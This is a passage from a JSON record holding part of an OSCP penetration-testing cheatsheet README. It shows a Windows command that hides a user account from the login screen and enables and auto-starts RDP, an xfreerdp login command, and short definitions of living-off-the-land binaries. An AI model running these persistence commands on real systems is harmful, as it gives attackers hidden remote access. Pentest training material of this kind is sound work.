HKEY_LOCAL_MACHINE\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v (Username) /t REG_DWORD /d 0 \u0026 reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v TSEnabled /t REG_DWORD /d 1 /f \u0026 sc config TermService start= auto\n```\n\nConnect via RDP to a machine using password and specific resolution\n\n```powershell\nxfreerdp /u:USER /p:'PASSWORD' /v:IP /size:1920x1080\n```\n\n# Useful Links\nA very useful website that tells you what the given command does in the detail -\u003e https://explainshell.com/\n# Dictionary\n**LOLBins** used for \"Living off the Land\" exploits. The attacker uses what he can.\n\n**LOLBAS** Living Off The Land Binaries, Scripts and Libraries https://lolbas-project.github.io/#\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblessedrebus%2Foscp-pentesting-cheatsheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fblessedrebus%2Foscp-pentesting-cheatsheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fblessedrebus%2Foscp-pentesting-cheatsheet/lists"}